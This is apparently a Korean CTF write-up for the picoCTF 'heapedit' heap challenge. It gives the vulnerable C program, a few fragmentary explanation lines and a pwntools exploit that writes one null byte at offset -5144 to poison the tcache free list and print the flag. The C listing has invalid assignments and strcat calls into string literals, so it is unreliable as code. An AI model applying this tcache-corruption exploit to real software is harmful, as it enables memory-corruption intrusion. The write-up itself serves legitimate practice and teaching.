#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf1[0x40]; //0x50
char buf2[0x20]; //0x70
char *final_msg; //0x78
char *fail_msg; //0x80
FILE *flag; //0x88
char *success_msg; //0x90
char *msg; //0x98
int idx; //0x9c
int val; //0xa0
char eng; //0xa1
setbuf(stdout, NULL);
flag = fopen("flag.txt", "r");
fgets(buf1, 0x40, flag);
buf2 = "this is a random string.";
msg = NULL;
for (idx = 0; idx <= 6; ++idx) {
success_msg = malloc(0x80);
if (msg == NULL)
msg = success_msg;
success_msg = "Congrats! Your flag is: ";
strcat(success_msg, buf1);
}
fail_msg = malloc(0x80);
fail_msg = "Sorry! This won't help you: ";
strcat(fail_msg, buf2);
free(success_msg);
free(fail_msg);
val = 0;
eng = '\0';
puts("You may edit one byte in the program.");
printf("Address: ");
scanf("%d", &val);
printf("Value: ");
scanf(" %c", &eng);
msg[val] = eng;
final_msg = malloc(0x80);
puts(final_msg + 0x10);
return 0;
}
코드 설명
fail_msg -> success_msg -> NULL
fail_msg
가 된다.exploit
주의할 점
익스 코드는 다음과 같다.
from pwn import *
#r = process("./heapedit")
r = remote("mercury.picoctf.net", 31153)
#pause()
r.sendlineafter(b"Address: ", b"-5144")
r.sendlineafter(b"Value: ", b"\x00")
r.interactive()